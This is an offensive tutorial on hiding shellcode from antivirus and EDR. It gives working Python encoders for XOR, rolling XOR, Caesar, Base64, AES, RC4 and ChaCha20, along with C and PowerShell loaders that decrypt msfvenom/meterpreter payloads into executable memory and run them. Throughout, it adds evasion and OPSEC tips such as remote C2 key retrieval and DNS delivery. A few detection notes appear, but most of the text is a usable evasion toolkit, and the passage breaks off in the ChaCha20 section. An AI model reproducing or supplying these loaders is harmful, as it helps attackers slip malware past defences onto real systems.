Shellcode Encryption & Encoding

Raw shellcode (msfvenom reverse_tcp):
\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00...

Windows Defender / CrowdStrike / SentinelOne:
├─ Scans bytes against signatures
├─ Matches: Known meterpreter stub!
├─ Action: Block + Alert
└─ Result: Payload never executes

Encrypted shellcode (AES-256):
\xa3\x7f\x4c\x11\x92\xde\x03\xbb\x55\xf1...

AV Scanner:
├─ Scans bytes → No match (random looking bytes)
├─ Signature: NONE
├─ Action: Allow
└─ Result: Runtime decryptor runs → decrypts → executes

Raw shellcode
    └─ XOR encoded       (layer 1 — simple, fast)
         └─ AES encrypted   (layer 2 — strong, key-based)
              └─ Base64 encoded  (layer 3 — transport-safe string)

Encoding:
Input:  \xfc\x48\x83             (raw shellcode bytes)
Method: XOR each byte with 0x41
Output: \xbd\x09\xc2             (encoded bytes)

Key?    NO — algorithm is the "secret"
Reversible? YES — apply same method again
Security?   LOW — trivial to reverse if algorithm is known
Use case?   Bypass static signatures (not protect secrets)

Encryption:
Input:  \xfc\x48\x83             (raw shellcode bytes)
Key:    0x41 0x42 0x43 0x44...   (secret key)
Method: AES-256-CBC
Output: \x7a\x4f\xbb\x12...      (ciphertext)

Key?    YES — key IS the secret
Reversible? YES — only with correct key
Security?   HIGH — requires key to decrypt
Use case?   Strong bypass, key protects payload

XOR truth table:
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0

Key property:
A XOR B = C
C XOR B = A   ← Self-inverse!

Example:
\xfc XOR \x41 = \xbd
\xbd XOR \x41 = \xfc   ← Decodes back

#!/usr/bin/env python3
# xor_encode.py — Encode shellcode with single-byte XOR key

import sys

def xor_encode(shellcode: bytes, key: int) -> bytes:
    """XOR-encode shellcode with a single-byte key."""
    return bytes([b ^ key for b in shellcode])

def check_for_nulls(encoded: bytes) -> bool:
    """Check if encoded payload contains null bytes (bad chars)."""
    return b'\x00' in encoded

# ─── Configuration ───────────────────────────────────────────
KEY = 0x41          # XOR key byte (change this!)
# Shellcode — replace with your payload bytes
# Example: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... -f raw > payload.bin
with open("payload.bin", "rb") as f:
    shellcode = f.read()
# ─────────────────────────────────────────────────────────────

encoded = xor_encode(shellcode, KEY)

# Check for null bytes (may break string-based loaders)
if check_for_nulls(encoded):
    print(f"[!] WARNING: Encoded payload contains null bytes with key=0x{KEY:02x}")
    print(f"    Try a different key.")
else:
    print(f"[+] No null bytes found — clean encoding")

print(f"[*] Key:          0x{KEY:02x}")
print(f"[*] Original size: {len(shellcode)} bytes")
print(f"[*] Encoded size:  {len(encoded)} bytes")
print()

# Output as C array
print("// Encoded shellcode (C format):")
print(f"unsigned char key = 0x{KEY:02x};")
print(f"unsigned char shellcode[] = {{")
hex_bytes = ", ".join(f"0x{b:02x}" for b in encoded)
# Wrap at 12 bytes per line for readability
for i in range(0, len(encoded), 12):
    chunk = encoded[i:i+12]
    print("    " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int shellcode_len = {len(encoded)};")

#!/usr/bin/env python3
# find_best_xor_key.py — Find XOR key that avoids null bytes

def find_best_key(shellcode: bytes) -> list:
    """Find all XOR keys that produce no null bytes in output."""
    good_keys = []

    for key in range(1, 256):  # Skip 0 (XOR with 0 = no change)
        encoded = bytes([b ^ key for b in shellcode])
        if b'\x00' not in encoded:
            good_keys.append(key)

    return good_keys

with open("payload.bin", "rb") as f:
    shellcode = f.read()

good_keys = find_best_key(shellcode)

if good_keys:
    print(f"[+] Found {len(good_keys)} clean keys:")
    for k in good_keys[:10]:  # Show first 10
        print(f"    Key: 0x{k:02x} ({k})")
    print(f"\n[*] Recommended key: 0x{good_keys[0]:02x}")
else:
    print("[-] No single-byte key avoids all null bytes")
    print("    Consider multi-byte XOR or different encoding")

// xor_decode.c — Runtime XOR decoder stub
// Compile and link with your loader

#include <windows.h>
#include <stdio.h>

// ─── Paste your XOR-encoded shellcode here ───────────────────
unsigned char key = 0x41;
unsigned char encoded_shellcode[] = {
    0xbd, 0x09, 0xc2, 0xa9, 0xb1, 0x43, 0x81, 0x41,
    // ... rest of encoded bytes ...
};
unsigned int shellcode_len = sizeof(encoded_shellcode);
// ─────────────────────────────────────────────────────────────

void xor_decode(unsigned char* buf, unsigned int len, unsigned char k) {
    for (unsigned int i = 0; i < len; i++) {
        buf[i] ^= k;  // Decode in-place
    }
}

int main() {
    // Step 1: Allocate RWX memory
    LPVOID mem = VirtualAlloc(
        NULL,
        shellcode_len,
        MEM_COMMIT | MEM_RESERVE,  // 0x3000
        PAGE_EXECUTE_READWRITE     // 0x40
    );

    if (!mem) {
        printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
        return 1;
    }

    // Step 2: Copy encoded shellcode to allocated memory
    memcpy(mem, encoded_shellcode, shellcode_len);

    // Step 3: Decode in-place (XOR with key)
    xor_decode((unsigned char*)mem, shellcode_len, key);

    // Step 4: Execute
    HANDLE hThread = CreateThread(
        NULL, 0,
        (LPTHREAD_START_ROUTINE)mem,
        NULL, 0, NULL
    );

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

# xor_decode.ps1 — PowerShell XOR decoder + injector

$key = 0x41

# Paste XOR-encoded bytes here
$encoded = [byte[]](0xbd, 0x09, 0xc2, 0xa9, ...)

# Decode in-place
$shellcode = for ($i = 0; $i -lt $encoded.Length; $i++) {
    $encoded[$i] -bxor $key
}
$shellcode = [byte[]]$shellcode

# P/Invoke declarations
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern void Sleep(uint dwMilliseconds);
"@

$k32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru

$mem = $k32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
$tid = 0
$k32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$tid)
$k32::Sleep(5000)

[DETECT] Static analysis:
  - Repeating XOR loops are obvious in disassembly
  - Single-byte key brute-forced trivially (256 attempts)
  - Low entropy increase for single-byte XOR

[OPSEC] Improvements:
  - Use multi-byte / rolling XOR (see §4)
  - Rotate XOR key per byte (key = key ^ previous_byte)
  - Combine with Caesar shift after XOR
  - Use random key embedded in PE resource (not hardcoded in stub)

[EVASION] XOR alone bypasses:
  - Basic signature scanners (YARA string rules)
  - Windows Defender (simple payloads)
  - ClamAV (free AV)

[EVASION] XOR alone does NOT bypass:
  - Behavioral detection (execution still looks suspicious)
  - Emulators (some AV runs code briefly to detect XOR loop)
  - Cloud-based sandboxes (run the decryptor stub)
  - Memory scanners (after decoding, raw shellcode visible)

Single-byte XOR (key=0x41):
Input:   \xfc \xfc \xfc \xfc   (same bytes)
Encoded: \xbd \xbd \xbd \xbd   (same output — pattern preserved!)

Multi-byte XOR (key=[0x41, 0x42, 0x43, 0x44]):
Input:   \xfc \xfc \xfc \xfc   (same bytes)
Keys:    0x41 0x42 0x43 0x44   (cycling key)
Encoded: \xbd \xbe \xbf \xb8   (different output — pattern destroyed!)

#!/usr/bin/env python3
# multi_xor_encode.py — Multi-byte XOR encoder

import os

def multi_xor_encode(shellcode: bytes, key: bytes) -> bytes:
    """XOR-encode shellcode with a multi-byte cycling key."""
    encoded = bytearray()
    key_len = len(key)

    for i, byte in enumerate(shellcode):
        encoded.append(byte ^ key[i % key_len])

    return bytes(encoded)

def generate_random_key(length: int) -> bytes:
    """Generate a cryptographically random key."""
    return os.urandom(length)

# ─── Configuration ───────────────────────────────────────────
KEY_LENGTH = 8
KEY = generate_random_key(KEY_LENGTH)
# Or hardcode: KEY = bytes([0x41, 0x42, 0x43, 0x44, 0xDE, 0xAD, 0xBE, 0xEF])

with open("payload.bin", "rb") as f:
    shellcode = f.read()
# ─────────────────────────────────────────────────────────────

encoded = multi_xor_encode(shellcode, KEY)

print(f"[*] Key ({KEY_LENGTH} bytes): ", end="")
print(", ".join(f"0x{b:02x}" for b in KEY))
print(f"[*] Shellcode size: {len(shellcode)} bytes")
print(f"[*] Encoded size:   {len(encoded)} bytes")
print()

# Output C array format
print(f"unsigned char key[] = {{ {', '.join(f'0x{b:02x}' for b in KEY)} }};")
print(f"unsigned int key_len = {KEY_LENGTH};")
print()
print(f"unsigned char shellcode[] = {{")
for i in range(0, len(encoded), 12):
    chunk = encoded[i:i+12]
    print("    " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int shellcode_len = {len(encoded)};")

# Verify round-trip
decoded = multi_xor_encode(encoded, KEY)
assert decoded == shellcode, "Round-trip failed!"
print("\n[+] Round-trip verification passed")

#!/usr/bin/env python3
# rolling_xor.py — XOR key evolves with each byte (stronger)

def rolling_xor_encode(shellcode: bytes, initial_key: int) -> bytes:
    """
    Rolling XOR: key changes every byte based on previous byte.
    key[i] = initial_key XOR shellcode[i-1]
    Harder to brute-force because key depends on plaintext history.
    """
    encoded = bytearray()
    key = initial_key

    for byte in shellcode:
        enc_byte = byte ^ key
        encoded.append(enc_byte)
        key = enc_byte ^ initial_key  # Key evolves: depends on previous output

    return bytes(encoded)

def rolling_xor_decode(encoded: bytes, initial_key: int) -> bytes:
    """Decode rolling XOR — must process sequentially."""
    decoded = bytearray()
    key = initial_key

    for enc_byte in encoded:
        dec_byte = enc_byte ^ key
        decoded.append(dec_byte)
        key = enc_byte ^ initial_key  # Same evolution formula

    return bytes(decoded)

with open("payload.bin", "rb") as f:
    shellcode = f.read()

INITIAL_KEY = 0x41
encoded = rolling_xor_encode(shellcode, INITIAL_KEY)
decoded = rolling_xor_decode(encoded, INITIAL_KEY)

assert decoded == shellcode, "Rolling XOR round-trip failed!"
print(f"[+] Rolling XOR encoding successful")
print(f"[*] Initial key: 0x{INITIAL_KEY:02x}")
print(f"[*] Size: {len(shellcode)} bytes")

// multi_xor_decode.c — Runtime multi-byte XOR decoder

#include <windows.h>
#include <string.h>

// Key (from Python encoder output)
unsigned char key[] = { 0x41, 0x42, 0x43, 0x44, 0xDE, 0xAD, 0xBE, 0xEF };
unsigned int key_len = 8;

// XOR-encoded shellcode (paste from Python encoder output)
unsigned char shellcode[] = {
    0xbd, 0x0a, 0xc1, 0xed, 0x2c, 0xa2, 0x49, 0xb9,
    // ... rest of bytes ...
};
unsigned int shellcode_len = sizeof(shellcode);

void multi_xor_decode(unsigned char* buf, unsigned int len,
                       unsigned char* k, unsigned int k_len) {
    for (unsigned int i = 0; i < len; i++) {
        buf[i] ^= k[i % k_len];   // Cycle through key
    }
}

int main() {
    LPVOID mem = VirtualAlloc(NULL, shellcode_len,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    if (!mem) return 1;

    memcpy(mem, shellcode, shellcode_len);
    multi_xor_decode((unsigned char*)mem, shellcode_len, key, key_len);

    HANDLE hThread = CreateThread(NULL, 0,
                                   (LPTHREAD_START_ROUTINE)mem,
                                   NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

Caesar shift +5:
\xfc + 5 = \x01  (wraps: 0xfc=252, 252+5=257, 257 mod 256 = 1)
\x48 + 5 = \x4d

Decode: subtract 5
\x01 - 5 = \xfc  (underflow: 1-5=-4, -4 mod 256 = 252 = 0xfc)

#!/usr/bin/env python3
# caesar_encode.py — Byte rotation encoder

def caesar_encode(shellcode: bytes, shift: int) -> bytes:
    """Add shift to each byte (mod 256)."""
    return bytes([(b + shift) % 256 for b in shellcode])

def caesar_decode(encoded: bytes, shift: int) -> bytes:
    """Subtract shift from each byte (mod 256)."""
    return bytes([(b - shift) % 256 for b in encoded])

# Double layer: XOR then Caesar
def xor_then_caesar(shellcode: bytes, xor_key: int, shift: int) -> bytes:
    xored = bytes([b ^ xor_key for b in shellcode])
    return caesar_encode(xored, shift)

def caesar_then_xor_decode(encoded: bytes, xor_key: int, shift: int) -> bytes:
    caesar_decoded = caesar_decode(encoded, shift)
    return bytes([b ^ xor_key for b in caesar_decoded])

with open("payload.bin", "rb") as f:
    shellcode = f.read()

XOR_KEY = 0x41
SHIFT   = 13

encoded = xor_then_caesar(shellcode, XOR_KEY, SHIFT)
decoded = caesar_then_xor_decode(encoded, XOR_KEY, SHIFT)

assert decoded == shellcode, "Round-trip failed!"
print(f"[+] XOR(0x{XOR_KEY:02x}) + Caesar(+{SHIFT}) encoding successful")
print(f"[*] Encoded size: {len(encoded)} bytes")

# Output C arrays
print(f"\nunsigned char xor_key = 0x{XOR_KEY:02x};")
print(f"int caesar_shift = {SHIFT};")
print(f"unsigned char shellcode[] = {{")
for i in range(0, len(encoded), 12):
    chunk = encoded[i:i+12]
    print("    " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")

// In the loader, after copying encoded shellcode to memory:
void decode_xor_caesar(unsigned char* buf, unsigned int len,
                        unsigned char xor_key, int shift) {
    for (unsigned int i = 0; i < len; i++) {
        // Step 1: Undo Caesar shift
        buf[i] = (unsigned char)((buf[i] - shift + 256) % 256);
        // Step 2: Undo XOR
        buf[i] ^= xor_key;
    }
}
// Call before executing: decode_xor_caesar(mem, shellcode_len, 0x41, 13);

Binary → Base64 mapping:
3 bytes input  (24 bits) → 4 Base64 chars (6 bits each)
Size increase: 4/3 × original (33% larger)

Example:
Input:  \xfc\x48\x83
Binary: 11111100 01001000 10000011
Groups: 111111 000100 100010 000011
Base64: /   E   i   D
Output: "/EiD"

Padding:
- Input length not multiple of 3 → pad with '=' chars

#!/usr/bin/env python3
# base64_encode.py — Base64 encode shellcode (transport layer)

import base64
import os

def encode_shellcode_b64(shellcode: bytes) -> str:
    """Encode shellcode as Base64 string."""
    return base64.b64encode(shellcode).decode('utf-8')

def decode_shellcode_b64(b64_string: str) -> bytes:
    """Decode Base64 string back to shellcode bytes."""
    return base64.b64decode(b64_string)

# ─── Layered: AES encrypt then Base64 (common pattern) ──────
# This is often how C2 payloads are delivered:
# Raw shellcode → XOR → Base64 → transported via HTTP → decoded → XOR-decoded → execute

with open("payload.bin", "rb") as f:
    shellcode = f.read()

# Layer 1: XOR encode
xor_key = 0x41
xored = bytes([b ^ xor_key for b in shellcode])

# Layer 2: Base64 encode (transport safe)
b64 = encode_shellcode_b64(xored)

print(f"[*] Original size: {len(shellcode)} bytes")
print(f"[*] XOR'd size:    {len(xored)} bytes")
print(f"[*] Base64 size:   {len(b64)} chars")
print(f"[*] XOR key:       0x{xor_key:02x}")
print()
print(f"[+] Base64 encoded payload:")
print(b64)

# Decode (what the loader does)
decoded_bytes = decode_shellcode_b64(b64)
final = bytes([b ^ xor_key for b in decoded_bytes])
assert final == shellcode, "Round-trip failed!"
print("\n[+] Round-trip verification passed")

# base64_loader.ps1 — Decode Base64 → XOR → Execute

$xor_key = 0x41
$b64_payload = "AAAA..."  # Paste base64 string here

# Step 1: Decode Base64
$xored_bytes = [System.Convert]::FromBase64String($b64_payload)

# Step 2: XOR decode
$shellcode = [byte[]]::new($xored_bytes.Length)
for ($i = 0; $i -lt $xored_bytes.Length; $i++) {
    $shellcode[$i] = $xored_bytes[$i] -bxor $xor_key
}

# Step 3: Inject (standard VirtualAlloc + CreateThread)
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern void Sleep(uint dwMilliseconds);
"@
$k32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
$mem = $k32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
$tid = 0
$k32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$tid)
$k32::Sleep(5000)

[DETECT] Base64 patterns:
  - "FromBase64String" in PowerShell logs (ETW)
  - Long Base64 strings in script blocks (ScriptBlock Logging)
  - HTTP GET with Base64-looking query params
  - AMSI scans Base64 strings before they're decoded

[EVASION] Bypass Base64 detection:
  - Custom Base64 alphabet (replace standard chars)
  - Split Base64 string into pieces, concat at runtime
  - Reverse the Base64 string before encoding
  - Double Base64 (Base64 of Base64)
  - Deliver via DNS TXT record instead of HTTP

[OPSEC] Never rely on Base64 alone — it's NOT encryption.

AES key sizes:
  AES-128: 16-byte key (128 bits)
  AES-192: 24-byte key (192 bits)
  AES-256: 32-byte key (256 bits) ← Most common for malware

AES modes:
  ECB (Electronic Codebook) — AVOID. Same plaintext = same ciphertext (patterns visible)
  CBC (Cipher Block Chaining) — Good. Uses IV to randomize each block
  CTR (Counter) — Good. Stream mode, no padding needed
  GCM (Galois/Counter Mode) — Best. Authenticated encryption

Block size: 16 bytes (always)
IV (Initialization Vector): 16 bytes random, prepended to ciphertext

CBC flow:
Plaintext[i] XOR IV → AES_Encrypt(key) → Ciphertext[i]
Ciphertext[i] is the IV for block[i+1]

#!/usr/bin/env python3
# aes_encrypt.py — AES-256-CBC shellcode encryption
# Install: pip install pycryptodome

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import struct

def aes_encrypt(shellcode: bytes, key: bytes, iv: bytes) -> bytes:
    """Encrypt shellcode with AES-256-CBC."""
    cipher = AES.new(key, AES.MODE_CBC, iv)
    # PKCS7 pad to 16-byte boundary
    padded = pad(shellcode, AES.block_size)
    return cipher.encrypt(padded)

def aes_decrypt(ciphertext: bytes, key: bytes, iv: bytes) -> bytes:
    """Decrypt AES-256-CBC ciphertext."""
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(ciphertext), AES.block_size)

# ─── Configuration ───────────────────────────────────────────
KEY = os.urandom(32)    # 32 bytes = AES-256
IV  = os.urandom(16)    # 16 bytes IV

with open("payload.bin", "rb") as f:
    shellcode = f.read()
# ─────────────────────────────────────────────────────────────

encrypted = aes_encrypt(shellcode, KEY, IV)

print(f"[*] Key (32 bytes): {KEY.hex()}")
print(f"[*] IV  (16 bytes): {IV.hex()}")
print(f"[*] Original size:  {len(shellcode)} bytes")
print(f"[*] Encrypted size: {len(encrypted)} bytes (padded to 16-byte boundary)")

# Verify
decrypted = aes_decrypt(encrypted, KEY, IV)
assert decrypted == shellcode, "Decryption verification failed!"
print(f"[+] Decryption verified successfully")

print()
print("// ─── C Output ───")
print(f"unsigned char aes_key[] = {{ {', '.join(f'0x{b:02x}' for b in KEY)} }};")
print(f"unsigned char aes_iv[]  = {{ {', '.join(f'0x{b:02x}' for b in IV)} }};")
print()
print(f"unsigned char encrypted_shellcode[] = {{")
for i in range(0, len(encrypted), 12):
    chunk = encrypted[i:i+12]
    print("    " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int encrypted_len = {len(encrypted)};")

# Save encrypted payload to file
with open("payload.enc", "wb") as f:
    # Format: [16 bytes IV][encrypted shellcode]
    f.write(IV + encrypted)
print(f"\n[+] Saved: payload.enc (IV prepended)")

// aes_decrypt_cng.c — Windows CNG AES-256-CBC decryption
// No external libraries needed — uses Windows built-in CNG

#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

// From Python encoder output
unsigned char aes_key[] = {
    0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48,
    0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50,
    0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58,
    0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 0x60
};

unsigned char aes_iv[] = {
    0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
    0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10
};

// Paste encrypted shellcode here
unsigned char enc_shellcode[] = { /* ... */ };
unsigned int enc_len = sizeof(enc_shellcode);

BOOL aes_decrypt_cng(unsigned char* ciphertext, DWORD ct_len,
                      unsigned char* key,        DWORD key_len,
                      unsigned char* iv,         DWORD iv_len,
                      unsigned char** plaintext, DWORD* pt_len) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    NTSTATUS status;
    DWORD cbKeyObject = 0, cbData = 0;
    PBYTE pbKeyObject = NULL;

    // Open AES algorithm provider
    status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    if (!BCRYPT_SUCCESS(status)) return FALSE;

    // Set chaining mode to CBC
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                      (PBYTE)BCRYPT_CHAIN_MODE_CBC,
                      sizeof(BCRYPT_CHAIN_MODE_CBC), 0);

    // Get key object size
    BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
                      (PBYTE)&cbKeyObject, sizeof(DWORD), &cbData, 0);
    pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);

    // Generate key from raw key bytes
    status = BCryptGenerateSymmetricKey(hAlg, &hKey, pbKeyObject,
                                         cbKeyObject, key, key_len, 0);
    if (!BCRYPT_SUCCESS(status)) return FALSE;

    // Get required output size
    status = BCryptDecrypt(hKey, ciphertext, ct_len,
                           NULL, iv, iv_len,
                           NULL, 0, pt_len, BCRYPT_BLOCK_PADDING);
    if (!BCRYPT_SUCCESS(status)) return FALSE;

    *plaintext = (unsigned char*)VirtualAlloc(NULL, *pt_len,
                                               MEM_COMMIT | MEM_RESERVE,
                                               PAGE_EXECUTE_READWRITE);

    // Decrypt
    status = BCryptDecrypt(hKey, ciphertext, ct_len,
                           NULL, iv, iv_len,
                           *plaintext, *pt_len, pt_len,
                           BCRYPT_BLOCK_PADDING);

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    HeapFree(GetProcessHeap(), 0, pbKeyObject);

    return BCRYPT_SUCCESS(status);
}

int main() {
    unsigned char* shellcode = NULL;
    DWORD shellcode_len = 0;

    // Decrypt shellcode
    if (!aes_decrypt_cng(enc_shellcode, enc_len,
                          aes_key, sizeof(aes_key),
                          aes_iv, sizeof(aes_iv),
                          &shellcode, &shellcode_len)) {
        return 1;
    }

    // Execute decrypted shellcode
    HANDLE hThread = CreateThread(NULL, 0,
                                   (LPTHREAD_START_ROUTINE)shellcode,
                                   NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

#!/usr/bin/env python3
# aes_decrypt_verify.py — Quick decryption test

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY = bytes.fromhex("41424344454647484950515253545556"
                    "5758595a5b5c5d5e5f60616263646566")  # 32 bytes

with open("payload.enc", "rb") as f:
    data = f.read()

IV = data[:16]
ciphertext = data[16:]

cipher = AES.new(KEY, AES.MODE_CBC, IV)
decrypted = unpad(cipher.decrypt(ciphertext), 16)

with open("payload_recovered.bin", "wb") as f:
    f.write(decrypted)

print(f"[+] Decrypted {len(decrypted)} bytes → payload_recovered.bin")

[OPSEC] Key storage problem:
  The key must live somewhere in the loader.
  If key is hardcoded → it can be extracted from binary.
  See §13 for key storage strategies.

[DETECT] AES in loaders:
  - BCrypt/WinCrypt API calls (monitored)
  - Large encrypted blob in PE resource section
  - Entropy analysis: AES output has very high entropy (7.9+)
  - Sandboxes may detect AES decryption loop + shellcode execution

[EVASION] AES improvements:
  - Fetch key from remote C2 at runtime (key never on disk)
  - Derive key from environment (hostname, username hash)
  - Combine AES + XOR: AES for bulk, XOR for key obfuscation
  - Use AES-CTR instead of CBC (no padding, no block alignment)

RC4 phases:
1. KSA (Key Scheduling Algorithm):
   - Initialize S-box: S[0..255] = [0, 1, 2, ..., 255]
   - Permute S-box using key bytes

2. PRGA (Pseudo-Random Generation Algorithm):
   - Generate keystream bytes from permuted S-box
   - XOR keystream with plaintext → ciphertext

Same algorithm encrypts and decrypts (XOR is its own inverse).

#!/usr/bin/env python3
# rc4_encode.py — RC4 stream cipher shellcode encryption

def rc4_ksa(key: bytes) -> list:
    """Key Scheduling Algorithm — initialize S-box."""
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_prga(S: list, data: bytes) -> bytes:
    """Pseudo-Random Generation Algorithm — encrypt/decrypt."""
    i = j = 0
    output = bytearray()
    S = S[:]  # Work on copy

    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        keystream_byte = S[(S[i] + S[j]) % 256]
        output.append(byte ^ keystream_byte)

    return bytes(output)

def rc4(data: bytes, key: bytes) -> bytes:
    """Full RC4: KSA + PRGA."""
    S = rc4_ksa(key)
    return rc4_prga(S, data)

# ─── Configuration ───────────────────────────────────────────
import os
KEY = os.urandom(16)   # 16-byte random key
# Or: KEY = b"SuperSecretKey!!"

with open("payload.bin", "rb") as f:
    shellcode = f.read()
# ─────────────────────────────────────────────────────────────

encrypted = rc4(shellcode, KEY)
decrypted = rc4(encrypted, KEY)  # RC4 is symmetric
assert decrypted == shellcode, "RC4 round-trip failed!"

print(f"[*] RC4 key ({len(KEY)} bytes): {KEY.hex()}")
print(f"[*] Encrypted size: {len(encrypted)} bytes")
print(f"[+] Round-trip verified")

print()
print(f"unsigned char rc4_key[] = {{ {', '.join(f'0x{b:02x}' for b in KEY)} }};")
print(f"unsigned int rc4_key_len = {len(KEY)};")
print(f"unsigned char shellcode[] = {{")
for i in range(0, len(encrypted), 12):
    chunk = encrypted[i:i+12]
    print("    " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int shellcode_len = {len(encrypted)};")

// rc4_decode.c — Minimal RC4 decoder (no external deps)

#include <windows.h>
#include <string.h>

unsigned char rc4_key[] = {
    0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48,
    0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50
};
unsigned int rc4_key_len = 16;

unsigned char shellcode[] = { /* RC4 encrypted bytes */ };
unsigned int shellcode_len = sizeof(shellcode);

void rc4_decrypt(unsigned char* data, unsigned int data_len,
                  unsigned char* key, unsigned int key_len) {
    // KSA
    unsigned char S[256];
    unsigned int i, j = 0;
    for (i = 0; i < 256; i++) S[i] = i;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % key_len]) % 256;
        unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
    }

    // PRGA — decrypt in-place
    i = j = 0;
    for (unsigned int k = 0; k < data_len; k++) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
        data[k] ^= S[(S[i] + S[j]) % 256];
    }
}

int main() {
    LPVOID mem = VirtualAlloc(NULL, shellcode_len,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    if (!mem) return 1;

    memcpy(mem, shellcode, shellcode_len);
    rc4_decrypt((unsigned char*)mem, shellcode_len, rc4_key, rc4_key_len);

    HANDLE hThread = CreateThread(NULL, 0,
                                   (LPTHREAD_START_ROUTINE)mem,
                                   NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

[OPSEC] RC4 advantages:
  - Tiny decoder stub (~40 lines C) → small binary footprint
  - No external dependencies (no bcrypt.lib)
  - Same code encrypts and decrypts (symmetric)
  - Very fast (stream cipher, no block padding)

[DETECT] RC4 weaknesses:
  - RC4 S-box initialization is recognizable in disassembly
  - YARA rules exist for RC4 KSA pattern
  - Cryptographically weak (use AES for real secrecy)
  - WireShark / Wireshark can identify RC4-encrypted C2 traffic

[EVASION] Improve RC4:
  - Rename variables to confuse static analysis
  - Inline the RC4 loop (no function call)
  - Combine: RC4 decrypt → then XOR with second key
  - Use RC4 key derived at runtime (hostname + process name)

#!/usr/bin/env python3
# chacha20_encode.py — ChaCha20 shellcode encryption
# Install: pip install pycryptodome

from Crypto.Cipher import ChaCha20
import os

def chacha20_encrypt(shellcode: bytes, key: bytes, nonce: bytes) -> bytes:
    """Encrypt shellcode with ChaCha20."""
    cipher = ChaCha20.new(key=key, nonce=nonce)
    return cipher.encrypt(shellcode)

def chacha20_decrypt(ciphertext: bytes, key: bytes, nonce: bytes) -> bytes:
    """Decrypt ChaCha20 ciphertext."""
    cipher = ChaCha20.new(key=key, nonce=nonce)
    return cipher.decrypt(ciphertext)

# ─── Configuration ───────────────────────────────────────────
KEY   = os.urandom(32)    # 32-byte key
NONCE = os.urandom(12)    # 12-byte nonce (ChaCha20 nonce size)

with open("payload.bin", "rb") as f:
    shellcode = f.read()
# ─────────────────────────────────────────────────────────────

encrypted = chacha20_encrypt(shellcode, KEY, NONCE)
decrypted = chacha20_decrypt(encrypted, KEY, NONCE)
assert decrypted == shellcode, "ChaCha20 round-trip failed!"

print(f"[*] Key   (32 bytes): {KEY.hex()}")
print(f"[*] Nonce (12 bytes): {NONCE.hex()}")
print(f"[*] Original size:    {len(shellcode)} bytes")
